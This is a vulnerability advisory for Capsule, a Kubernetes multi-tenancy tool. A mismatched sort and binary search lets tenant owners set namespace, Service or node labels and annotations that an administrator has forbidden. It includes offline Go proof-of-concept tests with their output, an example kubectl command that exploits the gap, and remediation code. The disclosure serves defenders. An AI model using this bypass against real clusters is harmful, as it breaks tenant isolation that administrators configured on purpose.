Capsule: Tenant owner bypasses Capsule's forbidden namespace/service/node label and annotation enforcement

Summary

Capsule lets a cluster administrator forbid specific metadata keys that tenant owners must not place on their own resources: Tenant.spec.namespaceOptions.forbiddenLabels / forbiddenAnnotations (namespaces), Tenant.spec.serviceOptions.forbiddenLabels / forbiddenAnnotations (Services), and the cluster-wide forbidden worker-node labels/annotations. These lists are an isolation control — they exist to stop a tenant owner from setting metadata that other controllers or admission plugins key on (Pod Security Admission labels, kubernetes.io/metadata.name, LoadBalancer/externalIP service annotations, scheduler annotations, vendor labels that grant network reach, etc.). The validating webhooks enforce them through api.ValidateForbidden, which calls ForbiddenListSpec.ExactMatch(key) for every key the tenant submits.

ExactMatch is broken. It sorts the denied list case-insensitively (sort.SliceStable with a strings.ToLower comparator) and then performs a byte-order binary search (sort.SearchStrings) over the result. sort.SearchStrings is only correct on a slice sorted in plain byte-ascending order. Whenever the denied list contains an entry whose case-insensitive position differs from its byte position — which happens any time the list mixes a capitalised key with lowercase keys, because ASCII uppercase letters (0x41–0x5A) sort before lowercase (0x61–0x7A) by byte but are interleaved by ToLower — the binary search lands on the wrong index and ExactMatch returns false for a key that is literally present in the denied list. The webhook then allows the forbidden metadata.

A tenant owner (who legitimately holds patch/create rights on their own tenant-owned namespaces and Services) can therefore set a metadata key the administrator explicitly forbade, defeating the control and reaching metadata-driven cross-tenant / system effects of exactly the kind Capsule's forbidden lists are meant to prevent. The bug is deterministic, requires no race, and is present unchanged on main HEAD.

Affected code (v0.13.5)

pkg/api/forbidden_list.go — the comparison primitive:

func (in ForbiddenListSpec) ExactMatch(value string) (ok bool) {
	if len(in.Exact) > 0 {
		sort.SliceStable(in.Exact, func(i, j int) bool {
			return strings.ToLower(in.Exact[i]) < strings.ToLower(in.Exact[j]) // case-INSENSITIVE order
		})

		i := sort.SearchStrings(in.Exact, value) // binary search assuming BYTE order

		ok = i < len(in.Exact) && in.Exact[i] == value
	}

	return ok
}

sort.SearchStrings returns the smallest index i such that in.Exact[i] >= value under raw byte comparison. If the slice is not byte-sorted, that index is wrong and the subsequent in.Exact[i] == value equality check fails even though value is in the slice — a false "not forbidden".

pkg/api/forbidden_list.go — the public entry point the webhooks call:

func ValidateForbidden(metadata map[string]string, forbiddenList ForbiddenListSpec) error {
	if reflect.DeepEqual(ForbiddenListSpec{}, forbiddenList) {
		return nil
	}
	for key := range metadata {
		var forbidden, matched bool
		forbidden = forbiddenList.ExactMatch(key)   // <-- buggy
		matched = forbiddenList.RegexMatch(key)
		if forbidden || matched {
			return NewForbiddenError(key, forbiddenList)
		}
	}
	return nil
}

Reached from (all in internal/webhook/):

• namespace/validation/user_metadata.go → validateUserMetadata → api.ValidateForbidden(labels, options.ForbiddenLabels) and api.ValidateForbidden(annotations, options.ForbiddenAnnotations).
• service/validating.go → api.ValidateForbidden(svc.Labels, tnt.Spec.ServiceOptions.ForbiddenLabels) and ...ForbiddenAnnotations.
• node/user_metadata.go → getForbiddenNodeLabels / getForbiddenNodeAnnotations call forbiddenLabels.ExactMatch(...) directly.

(The sibling allow-list primitive AllowedListSpec.ExactMatch in pkg/api/allowed_list.go has the identical defect, but there the polarity is fail-closed — a missed match wrongly denies an allowed class — so it is a correctness annoyance, not a security bypass. The forbidden-list polarity is the one that fails open.)

Attacker model / precondition

The attacker is a tenant owner — an authenticated, non-cluster-admin principal who already holds Capsule's delegated rights to create/patch their own tenant-owned namespaces and the Services within them (the normal Capsule tenancy model). No additional Kubernetes privilege is required.

The single deployment precondition that bounds severity: the administrator's denied list must contain at least one entry whose case-insensitive sort order diverges from its byte order — in practice, the list mixes at least one capitalised key with lowercase keys (or contains non-ASCII keys). A list that is uniformly lowercase (the most common shape) sorts identically under both orders and is not affected; an empty list (the chart default) is not affected. Mixed-case denied lists are entirely realistic, however: administrators routinely deny vendor/product-capitalised keys (e.g. OwnerReference, NetworkPolicy, CamelCase operator labels) alongside lowercase kubernetes.io/... keys. Once a single CamelCase entry is present, the broken binary search can also drop lowercase entries that share no resemblance to it — in the PoC below, adding a NetworkPolicy entry causes the unrelated lowercase kubernetes.io/metadata.name entry to escape as well. Any such list silently develops one or more exploitable gaps, and the defender cannot tell from the configuration that enforcement is partially disabled — the webhook reports success.

Once the precondition holds, exploitation is deterministic and needs only a single kubectl label/kubectl annotate (or create) on a resource the tenant already controls.

Impact

The administrator's forbidden-metadata isolation control is partially and silently bypassable. Concrete consequences depend on which key the gap exposes, but all of them are precisely what the control was configured to stop:

• Namespace labels/annotations: a tenant owner sets a label the admin forbade onto a tenant namespace — e.g. a Pod Security Admission pod-security.kubernetes.io/enforce override, a kubernetes.io/metadata.name-class identity label, or a label that a cluster NetworkPolicy / external controller selects on — re-introducing the multi-tenant-isolation break that Capsule's forbidden-label feature exists to prevent (the same class as the previously-fixed namespace-label-injection isolation issue).
• Service labels/annotations: a tenant owner sets a forbidden Service annotation — e.g. a cloud LoadBalancer / externalIPs / internal-LB provider annotation the admin denied — influencing network exposure outside the tenant boundary.
• Node labels/annotations: for tenants granted node-patch rights, a forbidden node label that the admin meant to protect can be modified, affecting scheduling/topology decisions cluster-wide.

Scope is Changed (the webhook protects resources and effects beyond the tenant's own boundary), confidentiality/integrity impact is real but gated by the mixed-case precondition and by which specific key the gap exposes — hence Medium, not High.

Proof of Concept (complete — runs on 127.0.0.1 only)

This PoC drives the real Capsule decision code (pkg/api) — the exact function the namespace/service/node webhooks call — with no network and no cluster. It demonstrates the bypass with a realistic mixed-case denied list and includes positive and negative controls so the result is unambiguous.

Step 1 — fetch the exact source under test (offline thereafter):

git clone --depth 1 --branch v0.13.5 https://github.com/projectcapsule/capsule.git
cd capsule
git rev-parse HEAD   # expect 34262c5536604762090144b6f8aed3ef2780c18c

Step 2 — drop this test into the package under test, pkg/api/forbidden_bypass_poc_test.go. The denied list is a realistic three-key administrator policy: deny the namespace identity label kubernetes.io/metadata.name, the Pod Security Admission label pod-security.kubernetes.io/enforce, and a CamelCase NetworkPolicy label:

package api

import "testing"

// Realistic admin policy: forbid three sensitive metadata keys.
func denied() ForbiddenListSpec {
	return ForbiddenListSpec{
		Exact: []string{
			"kubernetes.io/metadata.name",
			"pod-security.kubernetes.io/enforce",
			"NetworkPolicy",
		},
	}
}

// The bug: keys that ARE in the denied list slip through ValidateForbidden,
// i.e. the webhook would ALLOW forbidden metadata the tenant submits.
func TestPoC_ForbiddenKeysBypassed(t *testing.T) {
	for _, k := range []string{"NetworkPolicy", "kubernetes.io/metadata.name"} {
		if err := ValidateForbidden(map[string]string{k: "owned"}, denied()); err == nil {
			t.Errorf("BYPASS CONFIRMED: ValidateForbidden ALLOWED denied key %q (list=%v)", k, denied().Exact)
		} else {
			t.Logf("(no bypass) correctly denied %q: %v", k, err)
		}
	}
}

// Positive control: a third denied key in the SAME list is still correctly
// blocked — proving the policy genuinely forbids these keys and the harness is
// wired right (i.e. the bypass above is selective, not a dead enforcement path).
func TestPoC_PositiveControl_StillBlocked(t *testing.T) {
	if err := ValidateForbidden(map[string]string{"pod-security.kubernetes.io/enforce": "privileged"}, denied()); err == nil {
		t.Errorf("control failure: denied key 'pod-security.kubernetes.io/enforce' was NOT blocked")
	}
}

// Negative control: a key the admin did NOT deny is correctly allowed,
// proving the webhook is not simply denying everything.
func TestPoC_NegativeControl_BenignAllowed(t *testing.T) {
	if err := ValidateForbidden(map[string]string{"app.kubernetes.io/name": "frontend"}, denied()); err != nil {
		t.Errorf("control failure: benign key was wrongly denied: %v", err)
	}
}

// Direct primitive check, minimal repro of the root cause.
func TestPoC_ExactMatch_RootCause(t *testing.T) {
	spec := ForbiddenListSpec{Exact: []string{"B", "a"}} // mixed case
	if !spec.ExactMatch("B") {
		t.Errorf("ROOT CAUSE: ExactMatch(%q) returned false though %q is in %v", "B", "B", spec.Exact)
	}
}

Step 3 — run only these tests:

go test ./pkg/api/ -run 'TestPoC_' -v

Observed output (Go 1.26, capsule v0.13.5):

=== RUN   TestPoC_ForbiddenKeysBypassed
    forbidden_bypass_poc_test.go:21: BYPASS CONFIRMED: ValidateForbidden ALLOWED denied key "NetworkPolicy" (list=[kubernetes.io/metadata.name pod-security.kubernetes.io/enforce NetworkPolicy])
    forbidden_bypass_poc_test.go:21: BYPASS CONFIRMED: ValidateForbidden ALLOWED denied key "kubernetes.io/metadata.name" (list=[kubernetes.io/metadata.name pod-security.kubernetes.io/enforce NetworkPolicy])
--- FAIL: TestPoC_ForbiddenKeysBypassed (0.00s)
=== RUN   TestPoC_PositiveControl_StillBlocked
--- PASS: TestPoC_PositiveControl_StillBlocked (0.00s)
=== RUN   TestPoC_NegativeControl_BenignAllowed
--- PASS: TestPoC_NegativeControl_BenignAllowed (0.00s)
=== RUN   TestPoC_ExactMatch_RootCause
    forbidden_bypass_poc_test.go:49: ROOT CAUSE: ExactMatch("B") returned false though "B" is in [a B]
--- FAIL: TestPoC_ExactMatch_RootCause (0.00s)
FAIL
FAIL	github.com/projectcapsule/capsule/pkg/api	0.013s

Interpretation: both control tests PASS — within the very same denied list, pod-security.kubernetes.io/enforce is still correctly blocked and a benign key is allowed, so enforcement is alive and the policy genuinely forbids these keys. Yet TestPoC_ForbiddenKeysBypassed FAILS: two explicitly-denied keys — the namespace identity label kubernetes.io/metadata.name and the CamelCase NetworkPolicy label — were allowed by the exact function the namespace/service/node webhooks call. In a live cluster this is the difference between the admission webhook denying and permitting kubectl label namespace <tenant-ns> NetworkPolicy=open (or the equivalent on a Service or Node). TestPoC_ExactMatch_RootCause reduces the defect to its one-line cause.

Why it happens, concretely: sort.SearchStrings does a byte-order binary search but the slice was sorted by strings.ToLower. With the minimal Exact = ["B","a"], the ToLower comparator orders the slice ["a","B"] (because "a" < "b"). sort.SearchStrings(["a","B"], "B") returns the first index whose element byte-compares >= "B"; "a" is 0x61, which is >= "B" (0x42), so it returns index 0, and "a" != "B" → reports not-found. The forbidden key "B" is thereby treated as allowed. The three-key policy above exhibits the same fault for two of its real entries while leaving the third correctly enforced — which is exactly why the gap is silent: the administrator sees some keys blocked and reasonably assumes the whole list works.

Remediation

Stop performing a byte-order binary search over a non-byte-sorted slice. Any of the following fixes it:

• Simplest and allocation-free: replace the sort+SearchStrings with a direct membership test, and (recommended) build the denied list into a map[string]struct{} once at admission time:

func (in ForbiddenListSpec) ExactMatch(value string) bool {
	for _, e := range in.Exact {
		if e == value {
			return true
		}
	}
	return false
}

• If a binary search is desired for large lists, sort and search under the same ordering: sort with plain < (drop the ToLower comparator) so the slice matches what sort.SearchStrings assumes, then keep the i < len && in.Exact[i] == value guard.

Apply the identical fix to AllowedListSpec.ExactMatch in pkg/api/allowed_list.go (same defect, fail-closed today but still incorrect and a latent denial). Also note that ExactMatch currently mutates the caller-shared in.Exact slice in place via sort.SliceStable; the map-based or copy-before-sort form additionally removes that shared-state mutation. Decide deliberately whether forbidden-key matching should be case-sensitive (it is today, post-fix) — if case-insensitive matching is intended, lowercase both the stored keys and the lookup value explicitly rather than relying on a mismatched sort/search pair.

Please credit 5ud0 / Tarmo Technologies.